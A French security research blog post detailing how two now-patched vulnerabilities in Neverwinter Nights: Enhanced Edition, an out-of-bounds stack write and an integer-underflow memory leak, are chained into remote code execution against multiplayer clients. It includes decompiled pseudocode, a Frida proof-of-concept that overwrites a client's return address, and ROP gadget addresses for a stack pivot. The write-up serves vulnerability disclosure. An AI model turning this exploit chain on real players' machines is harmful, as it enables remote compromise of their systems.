Exploiting Neverwinter Nights

Rédigé par Thomas Dubier - 10/03/2025 - dans Exploit - Téléchargement

En 2024, dans le cadre d'un projet de recherche interne, nous avons trouvé plusieurs vulnérabilités sur le jeu vidéo Neverwinter Nights : Enhanced Edition. Nous avons signalé ces vulnérabilités à l'éditeur Beamdog. Dans cet article, nous détaillerons comment nous pouvons enchaîner deux vulnérabilités pour obtenir une exécution de code à distance en mode multijoueur.

Introduction

Neverwinter Nights est un jeu vidéo de rôle développé par BioWare et Obsidian Entertainment en 2002. Les règles du jeu sont basées sur celles de Dungeons & Dragons. Le jeu a été réédité par Beamdog en 2018 sous le nom de Neverwinter Nights : Enhanced Edition. Le jeu est nativement compatible avec plusieurs systèmes d'exploitation tels que Windows, Linux, MacOS et Android. Il propose un mode campagne, un mode multijoueur en LAN et un mode multijoueur en ligne. Lors de cette recherche, nous avons étudié le mode multijoueur en LAN.

Game menu
Menu de jeu

Avant de commencer à rechercher des vulnérabilités, nous avons cherché des moyens de faciliter la rétro-ingénierie. Neverwinter Nights est basé sur un moteur de jeu appelé Aurora Engine. Ce moteur n'est pas open-source. Cependant, il existe une réimplémentation open-source, Xoreos1, du moteur Aurora de BioWare. Malheureusement, Xoreos n'implémente pas le mode multijoueur. Le jeu est également livré avec l'Aurora Toolset situé dans C:\GOG Games\Neverwinter Nights Enhanced Edition\bin\win32\nwtoolset.exe. D'autres outils intéressants comme NWNExplorer2 offre une vue plus détaillée des ressources.

Aurora Toolset
Aurora Toolset

Les symboles de débogage facilitent la rétro-ingénierie. Le binaire Windows contient un chemin vers un fichier de symboles C:\Jenkins\workspace\Build Windows\vs2017\game\nwmain\Release\nwmain.pdb. Malheureusement, ce fichier de symboles n'est pas inclus avec l'installateur. Cependant, le binaire Linux contient plus de symboles que le binaire Windows. Ce qui est un bon point de départ pour commencer la rétro-ingénierie.

 

Mise en place de l'environnement

Tout d'abord, nous avons configuré plusieurs machines virtuelles avec VirtualBox et l'accélération 3D activée. Chaque machine virtuelle dispose d'une version Windows x64 10.0.19045.2965 et Neverwinter Nights en version 88.8193.36.13. Si vous souhaitez jouer en multijoueur LAN avec une machine virtuelle non connectée à Internet, vous devez modifier le fichier settings.tml dans le répertoire de configuration local C:\Users\user\Documents\Neverwinter Nights.

[masterserver]
    [masterserver.key-authentication]
        mode = "if-reachable"

La deuxième exigence pour jouer en multijoueur est d'avoir deux clés CD différentes. Le jeu n'autorise pas les joueurs avec la même clé CD à jouer ensemble.

Surface d'attaque multijoueur

Une fois l'environnement mis en place, une capture Wireshark permet d'analyser le trafic entre le client et le serveur :

Network discovery
Découverte réseau

Comme vous pouvez le voir, le jeu utilise son propre protocole basé sur UDP. Pour découvrir une instance de jeu sur le LAN, le client envoie un message, commençant par un identifiant de 4 octets BNES, sur l'adresse de broadcast. Le serveur répond par un autre paquet constitué de 4 octets définis par BNER suivis du nom du jeu multijoueur. Les premiers échanges de paquets sont en clair, puis les paquets suivants semblent contenir des données illisibles (nous verrons plus tard que ces données sont chiffrées). Lorsqu'un utilisateur se connecte à une partie, le client de jeu initie un échange de clés utilisant le Noise Protocol Framework3. Le jeu utilise LibHydrogen4 pour accomplir cette tâche. Cet échange de clés repose sur des primitives cryptographiques telles que les courbes elliptiques et la permutation Gimli5.

Les paquets chiffrés peuvent être analysés en interceptant la méthode appropriée avec Frida. La méthode CNetLayerInternal::SendDirectMessage est un bon candidat.

Network Layers
Couche réseau

Le paquet chiffré contient ce que nous appelons une trame (selon les symboles de débogage). Une trame contient les champs suivants :

  • Le champ Magic est toujours initialisé avec 0x4D.
  • L'intégrité du paquet est gérée par un CRC-16.
  • Il y a deux champs FrameId qui contiennent un ID incrémental. Nous supposons que cela est utilisé pour l'ordre de traitement des messages.
  • Les messages du jeu peuvent être divisés en plusieurs trames. nFrame indique le nombre de trames.
  • Le type de trame est l'une des trois valeurs suivantes :
    • DATA : la trame contient des données
    • ACK : la trame est un accusé de réception
    • NAK : la trame est un accusé de réception négatif
  • Le champ Length indique la taille des données de la trame.

Le programme gère le ré-assemblage des trames en utilisant la méthode CNetLayerWindow::UnpacketizeFullMessages. Une fois que toutes les trames ont été assemblées, la méthode appelle CNetLayerInternal::UncompressMessage pour décompresser les données. Les données sont passées en paramètre de CClientExoApp::HandleMessage. Si l'instance de jeu est un hôte de partie, les données sont passées en paramètre de CServerExoApp::HandleMessage. Ces deux méthodes géreront un message dans le format suivant :

Message format
Format de message

Le premier octet peut prendre les valeurs suivantes :

  • 'p' : Le message provient du joueur
  • 'P' : Le message provient du serveur
  • 's' ou 'S' : Indiquent un message ServerAdmin, qui a un autre format.

Les deux octets suivants sont le minor number et le major number. Le major number indique une catégorie de message (Journal, Quête, Créature, Chat, ...) et le minor indique l'opération à effectuer. Ces champs sont suivis d'un champ taille qui indique la taille des données sérialisées. Les octets suivants dépendent du type de message. Pour désérialiser les données, le programme utilise une classe nommée CNWMessage. Elle possède un champ interne nommé curseur qui peut se déplacer dans un flux d'octets. Voici quelques méthodes de CNWMessage ci-dessous :

  • CNWMessage::ReadWORD décode un mot en little-endian et incrémente le curseur de lecture de deux octets.
  • CNWMessage::ReadINT décode un entier en little-endian et incrémente le curseur de lecture de quatre octets.
  • CNWMessage::ReadBOOL retourne un booléen. Cette méthode lit ce booléen dans le buffer Bits. Le curseur interne associé au buffer de bits est incrémenté.
  • CNWMessage::ReadCExoString lit un entier de taille spécifiée en bits. Cet entier indique la longueur de la chaîne. La méthode lit autant d'octets que spécifié dans le champ de taille. Elle retourne un objet CExoString.

Les messages liés au jeu sont une vaste surface d'attaque, car comme vous pouvez le voir ci-dessous, il existe de nombreux handlers de messages.

Handlers
Handlers

Vulnérabilités

En auditant les handlers de messages, nous avons trouvé deux vulnérabilités. Tout d'abord, il existe une vulnérabilité de type stack buffer overflow lorsque le client de jeu traite un message avec un major définir à 0x02 et un minor défini à 0x0A. Un message est envoyé lorsque le serveur détecte un conflit entre le personnage créé et un personnage déjà existant dans la partie sauvegardée.

Server detect conflit
Choose Character Popup

Le message contient deux listes sérialisées d'entiers représentant la classe et le niveau de classe du personnage sauvegardé. Ci-dessous, vous trouverez le pseudocode du handler. Les entiers sont copiés dans des tableaux de taille fixe (Class et ClassLevel). Il n'y a pas de vérification de la taille des listes. En créant un message contenant des listes de plus de 8 entiers, le tableau Class débordera. Cependant, il y a un stack cookie et il n'y a pas de variable locale entre le buffer et le stack cookie. Cette vulnérabilité est probablement inexploitable sans une fuite de mémoire.

__int64 __fastcall CNWCMessage::HandleServerToPlayerLogin(CNWMessage *this, char Minor) {
[...]
int Class[8];       // [rsp+F0h] [rbp-18h] BYREF
char ClassLevel[8]; // [rsp+110h] [rbp+8h] BYREF
[...]
switch(Minor)
{
	[…]
	case 10:
        	ClassListSize = CNWMessage::ReadBYTE(this, 8);
        	_ClasListSize = ClassListSize;
        	if ( ClassListSize )
        	{
          		_ClassLevel = ClassLevel;
          		_Class = Class;
          		n = ClassListSize;
          		do
          		{
				// stack buffer overflow
            			*_Class = CNWMessage::ReadINT(this, 32);        
            			*_ClassLevel = CNWMessage::ReadBYTE(this, 8);
            			++_Class;
            			++_ClassLevel;
            			--n;
          		}
          		while ( n );
        	}
        	Experience = CNWMessage::ReadDWORD(this, 32);
        	[...]
        	CPanelCharVersionPopup::SetSaveCharacterInfo(v13, _ClassListSize, Class, ClassLevel, Experience);

Heureusement, il existe une autre vulnérabilité. Major et minor doivent être définis respectivement sur 5 et 1 pour atteindre la méthode vulnérable CNWCMessage::HandleServerToPlayerCreatureUpdate_Appearance. Cette méthode traite une liste de dix index et valeurs. La valeur peut être écrite hors du tableau Buf car l'index n'est pas vérifié [1].

__int64 __fastcall CNWCMessage::HandleServerToPlayerCreatureUpdate_Appearance(CNWMessage *this)
{
[…]
 unsigned __int16 Buf[18]; // [rsp+216h] [rbp-11Ah] BYREF
[…]    
    Count = CNWMessage::ReadBYTE(this, 8);
    _Count = Count;
    if ( Count )
    {
      v53 = (int *)Buf;
      if ( Count <= 9u )
      {
        CNWCCreatureAppearance::GetPartVariations(
          *((CNWCCreatureAppearance **)CreatureByGameObjectID + 102),
          (unsigned __int8 *)Buf,
	    0);
        n = 0;
        while ( 1 )
        {
          index = CNWMessage::ReadBYTE(this, 8);
          if ( CNWMessage::MessageReadOverflow(this) )
            goto LABEL_82;
          if ( _bVersionSup_8193_35 )
            value = CNWMessage::ReadWORD(this, 16);
          else
            value = (unsigned __int8)CNWMessage::ReadBYTE(this, 8);
          ++n;
          Buf[index] = value; // out of bound write [1]
          if ( _Count == n )
            goto LABEL_130;
        }
      }

Cela suffit pour effacer l'adresse de retour. Pour éviter de réimplémenter l'ensemble du protocole, nous allons remplacer un message existant. Nous avons utilisé Frida pour instrumenter l'hôte du jeu. La  preuve de concept intercepte la méthode CNWSMessage::SendServerToPlayerMessage qui a le prototype suivant :

__int64 __fastcall CNWSMessage::SendServerToPlayerMessage(CNWSMessage *this, unsigned int PlayerId, unsigned __int8 Major, unsigned __int8 Minor, unsigned __int8 *Buf, unsigned int BufLen)

Nous pouvons facilement remplacer les champs Major et Minor pris en paramètre de la méthode. Ensuite, il suffit de recréer les données sérialisées. Certains champs doivent être définis avant la liste des index et des valeurs. Pour être traité, le message doit contenir un identifiant d'objet valide. En observant les échanges entre le client et le serveur, nous avons trouvé que 0x80000013 est un identifiant d'objet valide. Le serveur doit servir le Chapitre 3 de la campagne The Wailing Death. L'objet du jeu est créé après que le joueur a choisi son personnage. Par conséquent, la payload doit être envoyée après cette étape. Pour la preuve de concept, l'interception est déclenchée manuellement dans la console Frida.

const baseAddr = Module.findBaseAddress('nwmain.exe');

var g_exploited = -1;

const MEM_COMMIT = 0x1000;
const PAGE_READWRITE = 0x04;

const VirtualAllocPtr = Module.findExportByName('kernel32.dll','VirtualAlloc');
const VirtualAllocFunc = new NativeFunction(VirtualAllocPtr,'pointer',['uint64','uint64','uint32','uint32']);

const CNWSMessage__SendServerToPlayerMessagePtr = resolveAddress('0x140444B20');

function Build_Payload()
{   
    let returnAddress = ptr("0x4141414141414141");

    let newLen = 0x1D;
    let newBuf = VirtualAllocFunc(0,0x1000,MEM_COMMIT,PAGE_READWRITE);
    newBuf.add(3).writeU32(0x1C);           // bitPos
    newBuf.add(0x07).writeU8(0x50);         // HandleServerToPlayerUpdate_Appearance
    newBuf.add(0x08).writeU8(5);            // OBJECT_TYPE_CREATURE
    newBuf.add(0x09).writeU32(0x80000013);  // object id
    newBuf.add(0x0D).writeU16(0x100);       // flags
    newBuf.add(0x0F).writeU8(4);            // 4 write

    for(let i =0; i < 4; i++)
    {
        newBuf.add(0x10 + i*3).writeU8(225 + i); // index
        newBuf.add(0x10 + i*3 + 1).writeU16( returnAddress.shr(16 * i).and(0xFFFF).toInt32() ); // value
    }

    newBuf.add(0x1C).writeU8(0 * 0x20 | (1 << 4)| (0 << 5) | (0 << 6));

    return { buf: newBuf, length: newLen };
}

const CNWSMessage__SendServerToPlayerMessageFunc     = new NativeFunction(CNWSMessage__SendServerToPlayerMessagePtr,'int',['pointer','int','int','int','pointer','int'],'win64');
const CNWSMessage__SendServerToPlayerMessageCallback = new NativeCallback((ctx,playerId,major,minor,buf,len) => {
    if(playerId == 1)
    {    
        console.log('[+] SendServerToPlayer message ' + playerId);
        console.log('[+] buf: ' + buf);
        console.log('[+] len: ' + len);
        console.log('[+] major: '+ (major & 0xFF));
        console.log('[+] minor: '+ (minor & 0xFF));
    }

    if(playerId == 1 && g_exploited == 0)
    {
        console.log('[+] send corrupted message to player 1');
        g_exploited = 1;
        let payload = Build_Payload();
        return CNWSMessage__SendServerToPlayerMessageFunc(ctx,playerId,0x5,0x01,payload.buf,payload.length);
    }else{
        return CNWSMessage__SendServerToPlayerMessageFunc(ctx,playerId,major,minor,buf,len);
    }
},'int',['pointer','int','int','int','pointer','int'],'win64');

Interceptor.replace(CNWSMessage__SendServerToPlayerMessagePtr, CNWSMessage__SendServerToPlayerMessageCallback);

// ----- Utility ----

function swap32(x)
{
    return ((x & 0xFF000000) >> 24)|((x & 0x00FF0000) >> 16)|((x & 0x0000FF00) << 16)|((x & 0x000000FF) << 24);
}

function swap16(x)
{
    return ((x & 0xFF00) >> 8)|((x & 0x00FF) << 8);
}

function exploit()
{
    g_exploited = 0;
}

function resolveAddress(addr) {
    const idaBase = ptr('0x140000000'); 
    const offset = ptr(addr).sub(idaBase); 
    const result = baseAddr.add(offset);
    return result;
}

Du côté client, nous attachons un débogueur pour intercepter l'exception. C'est une réussite, l'adresse de retour a été remplacée par 0x4141414141414141 et le stack cookie n'a pas été altéré.

Crash RIP
Première victoire

Contourner l'ASLR

Le binaire a l'ASLR (Address Space Layout Randomization) activé. Nous devons trouver une autre vulnérabilité pour faire fuiter l'adresse de base du programme. Heureusement, il y a un bug dans la méthode CNWMessage::HandleServerToPlayerMessage. Cette méthode va dispatcher le message vers le handler approprié. Elle lit les trois premiers octets du paramètre Buf [1] et initialise un CNWMessage en utilisant la méthode CNWMessage::SetReadMessage [2]. Si le tampon a une taille de deux octets, le champ minor sera lu en dehors de la mémoire allouée pour Buf et CNWMessage::SetReadMessage recevra 2 - 3 = -1 comme paramètre Length. Il s'agit d'un bug de type integer underflow.

__int64 __fastcall CNWCMessage::HandleServerToPlayerMessage(CNWMessage *this, char *Buf, int Len)
{
  […]
  Magic = *Buf;
  Major = Buf[1];
  Minor = Buf[2]; // [1]
  if ( CNWMessage::SetReadMessage(this, Buf + 3, Len - 3, -1, 1) // [2]
    && (v8 = g_pAppManager->CClientExoApp->vtable->CClientExoApp::GetNetLayer)(g_pAppManager->CClientExoApp),
        CNetLayer::GetClientConnected(v8))
    && !CNWMessage::MessageReadOverflow(this)
    && Magic == 'P' )
  {
    CNetworkProfiler::AddMessageToProfile((const void **)g_cNetworkProfiler, 82, Major, Buf[2], Len);
    CExoString::Format(&a1, "unknown Major (0x%.2X)", Major);
    switch ( Major )
    {
      case 1u:
        CExoString::operator=(&a1, "ServerStatus");
        active = CNWCMessage::HandleServerToPlayerServerStatus(this, Minor);
        goto LABEL_9;
      case 2u:
        CExoString::operator=(&a1, "Login");
        active = CNWCMessage::HandleServerToPlayerLogin(this, Minor);
        goto LABEL_9;

CNWMessage::SetReadMessage traite le paramètre Length comme un entier non signé. Selon le handler utilisé, le programme risque de lire des données sérialisées en dehors du buffer. Le comportement de la méthode CNetLayerInternal::UncompressMessage est intéressant dans le cadre d'un exploit. Cette méthode utilise un buffer temporaire rx_buffer pour la décompression (seulement si UncompressSize est inférieur à 0x20000). La taille des données non compressée est codée dans les quatre premiers octets de la trame. rx_buffer est un membre de l'objet CNetLayerInternal, il est donc situé dans la mémoire heap. rx_buffer n'est pas effacé après utilisation. Par conséquent, si nous envoyons deux messages, l'un pour définir des données dans le rx_buffer et l'autre qui déclenche le bug integer underflow, CNWMessage::HandleServerToPlayerMessage lira le minor du premier message. Cela nous permet de choisir quel handler sera exécuté pour traiter le deuxième message.

__int64 __fastcall CNetLayerInternal::UncompressMessage(
        CNetLayerInternal *this,
        __int64 PlayerId,
        FRAME *frame,
        unsigned int FrameSize)
{
[...]
if ( UncompressedSize > 0x1400000 )
    return 0LL;
  if ( UncompressedSize < 0x20000 )
  {
    rx_buffer = this->rx_buffer;
  }
  else
  {
    rx_buffer = (char *)MaxTree::operator new(UncompressedSize);
    __UncompressedSize = _UncompressedSize;
  }
[...]
v17 = z_uncompress(rx_buffer, (int *)&_UncompressedSize, (__int64)&frame[1], FrameSize - 0x10);
[...]
result = v6->m_ExoApp->vtable->CClientExoApp::HandleMessage(
             v6->m_ExoApp,
             PlayerId,
             (unsigned __int8 *)rx_buffer,
             UncompressedSize,
             0);
[...]
}

Puisque le message a une taille de données sérialisées initialisée à 0xFFFFFFFF, les handlers qui utilisent des méthodes comme CNWMessage::ReadVOIDPtr peuvent lire en dehors des limites de rx_buffer. Nous devons trouver un comportement qui retourne les données lues hors limites.

Activate Portal

Lors de nos recherches, nous nous sommes intéressés au moteur de script utilisé par Neverwinter Nights. Malheureusement, il n'est pas possible d'exécuter des scripts Neverwinter Nights (NWScript) à distance sans activer le mode débogage. Cependant, nous avons découvert certaines fonctionnalités intéressantes. Il existe une fonction ActivatePortal dans NWScript qui permet d'envoyer le client d'un joueur vers un nouveau serveur, où le personnage du joueur se connectera. La méthode CNWCMessage::HandleServerToPlayerPortalActivatePortal gère la fonctionnalité d'activation du portail.

Activate Portal
Fonctionnalité Activate Portal

Lorsque le client reçoit le message ActivatePortal, cela déclenche une séquence de connexion à un nouveau serveur. Les échanges sont résumés dans le diagramme ci-dessous. Le client demande le fichier de son personnage. Ce fichier est stocké temporairement en mémoire avant d'être envoyé au second serveur.

Activate Portal message sequence
Sequence Activate Portal

Cette fonctionnalité, combinée au bug d'integer underflow, peut être exploitée pour provoquer une fuite de mémoire. Pour gérer le fichier du personnage, le client appelle CNWMessage::ReadVOIDPtr avec un paramètre length qui est sous le contrôle de l'attaquant. En raison du bug d'integer underflow, la taille des données sérialisées est initialisé avec 0xFFFFFFFF. Par conséquent, le programme peut copier plus de 0x20000 octets depuis rx_buffer. Le fichier du personnage en mémoire temporaire contient des données de la heap (comme des vtable d'objets) qui seront renvoyées au second serveur.

__int64 __fastcall CNWCMessage::HandleServerToPlayerCharacterDownload(CNWMessage *this, char Minor)
{
  [...]
  if ( Minor == 2 )
  {
    length = CNWMessage::ReadDWORD(this, 32);
    pointer = (unsigned __int8 *)CNWMessage::ReadVOIDPtr(this, length);
    CClientExoApp::SetCharacterFile(g_pAppManager->CClientExoApp, length, pointer, 0);

L'ASLR ne randomise pas les bits 0-11, car cela briserait l'alignement des pages. Ce comportement est intéressant pour nous parce qu'il nous permet de détecter les adresses de code en mémoire qui se suivent immédiatement. Ces pointeurs appartiennent au même objet. Nous pouvons rechercher un motif basé sur les 12 bits de poids faible pour déduire l'adresse de base du programme.

Stack pivot

Maintenant que nous connaissons l'adresse de base du programme, nous pouvons rechercher un gadget intéressant. Pour rappel, la première vulnérabilité nous permet d'écrire seulement 10 mots de 16 bits dans la pile. La stratégie d'exploitation consiste à charger dans le registre RSP l'adresse de mémoire de notre message (qui contient des données contrôlées). Par chance, le registre RBX pointe vers le CNWMessage actuel. Cet objet possède un pointeur (à l'offset 0x38) vers le tampon de message. Le tampon de message contient notre charge utile. Un premier gadget stockera l'adresse de notre charge utile dans le registre RCX :

0x00000001401e1f21 : mov rcx, qword ptr [rbx + 0x38] ; mov rdi, qword ptr [rcx + 0x28] ; call qword ptr [rdi + 0x18]

 

First gadget usage
Memory representation

Nous chaînons le gadget précédent avec le gadget ci-dessous. L'adresse de la charge utile sera stockée dans le registre RAX et le jmp nous permet d'appeler n'importe quelle fonction.

0x1401D6A50 : 
mov rax, rcx
mov qword ptr [rcx+10h], 0
mov rcx, [rcx+18h]
xor r8d, r8d
jmp qword ptr [rax+20h] 

Les trois gadgets suivants effectuent le stack pivot. Ils permettent d'empiler l'adresse de la charge utile (RAX) sur la pile et de la dépiler dans le registre RSP.

0x000000014060f2b1 : push rax ; mov rcx, rbx ; call qword ptr [rax + 0x48]
0x000000014075858d : pop rdi ; jmp qword ptr [rax + 0x40]
0x00000001408ecbb6 : pop rsp ; and al, 0x50 ; add rsp, 0x58 ; ret

L'instruction RET dépilera l'adresse de retour depuis notre charge utile sur le tas. La prochaine partie de l'exploitation est une chaîne ROP classique pour exécuter C:\Windows\System32\calc.exe.

Conclusion

Nous avons réussi à exploiter ces vulnérabilités sur Windows 10 x64. Les bugs ont été signalés à l'éditeur et corrigés par la communauté NWN6. GOG a publié une nouvelle version de Neverwinter Nights : Enhanced Edition. Le code source de la preuve de concept est disponible sur https://github.com/synacktiv/nwn-exploit.

Video file